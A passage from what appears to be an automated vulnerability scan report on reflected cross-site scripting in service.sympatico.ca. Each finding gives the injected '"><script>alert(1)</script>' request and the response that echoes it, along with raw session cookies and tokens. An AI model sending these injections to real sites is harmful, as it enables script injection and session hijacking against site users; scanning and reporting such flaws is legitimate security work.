Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:17 GMT
Connection: close
Set-Cookie: SMSESSION=+AswEOG4CPfKYF6Tx6U98VM00g69zuSFSQa14iMi8NmWgPXZbXRsQU0ZJcx8nC92nQxTtY86bVDPiOdl2KX6wrtlWnqjjaLsqAl4e+Sp6dku3f0OVCQxzMZTE3cGi9NmXvEz6g4HDdlQvAffwFzBwNarD/UxMAFUeKmfVZdG9JcRDaIA/q6RAjh0mOrcWWU5TMdMeGeg80HythKXT6IhJZ/ej9rWiDm5dh+9L0f54dnqNWeQZTem3MZ6fbRFke2WRb8cinhZsAiuu64xY9CtUArylbmIjZgTWbpL/e09PaXnaJQ6lOds+Q==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css48ea0"><script>alert(1)</script>730ce418a0a/txtBoxes.css" />
...[SNIP]...

2.85. http://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/txtBoxes.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aaf9a"><script>alert(1)</script>dd82b87cca0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/txtBoxes.cssaaf9a"><script>alert(1)</script>dd82b87cca0 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:19 GMT
Connection: close
Set-Cookie: SMSESSION=n9aTy7b/zf3IBqC+X/K1Kkqgeq10KmWX3MXSfPOrCQ+9foZpUW3wO8q2Bm6FwmIixCukjTRLcWu5wvtrep1z0+r0CaqapuIzQTvILegjttx7+J9JbfbIbZsT3sig0A5mt4xIzMPhKbLgZCsQpp3SMGK2zoZQWijGg2lQclz9ZjoJkTE39pU4nVqD+pIc5xhejMgJ/YwE9CAH22AR7WUObIv6F9CLtvbr7A6jfei9qsdgzKmBnsjTHUZVteqC/9asD2BediM6W67a2XdCxzZ8QieECBvF8NGm8Qhj6UI3dhVwvYG1PUJPUQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:20 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:20 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:20 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:20 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:20 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:20 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
"hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/txtBoxes.cssaaf9a"><script>alert(1)</script>dd82b87cca0" />
...[SNIP]...

2.86. http://service.sympatico.ca/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17a20"><script>alert(1)</script>fadad0b75a3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /favicon.ico17a20"><script>alert(1)</script>fadad0b75a3 HTTP/1.1
Host: service.sympatico.ca
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; CFID=122144238; CFTOKEN=86284596; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; VOKEN_SEEN=0; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617180469%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.2.10.1290615373

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:14:51 GMT
Connection: close
Set-Cookie: SMSESSION=n/xmHdI04HgEYyTG8QbF1HQS42dxVrTMxAncRP5RAwExgohbWN10v8ONCgyWU3jSqOZZreTmWqIVYkdbT+JxvQcp7zH+HbFRz627gF6CCNVtnQZvHbKuUqlBFbQRXeEqY1AzKw5njsN5OeuHZ09QmSE0f5JBtfCNFuoAvN6Gk3+5/aUDkZ40bEOdBbPAkjnSJy8RjwHW4RoyUIiDJwdl8OBUKkHV04/HdUjdqsAOToYjxN87X0vWWlBdV+y928uPwnOQVdVuakyPAO9in60TrQGdcT2Q1wOPVqUNWGWjyMUG/YxW/xn53w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:14:51 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:14:51 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/favicon.ico17a20"><script>alert(1)</script>fadad0b75a3" />
...[SNIP]...

2.87. http://service.sympatico.ca/index.cfm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cedc3"><script>alert(1)</script>08b85c0c654 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3"><script>alert(1)</script>08b85c0c654 HTTP/1.1
Host: service.sympatico.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 15:22:04 GMT
Connection: close
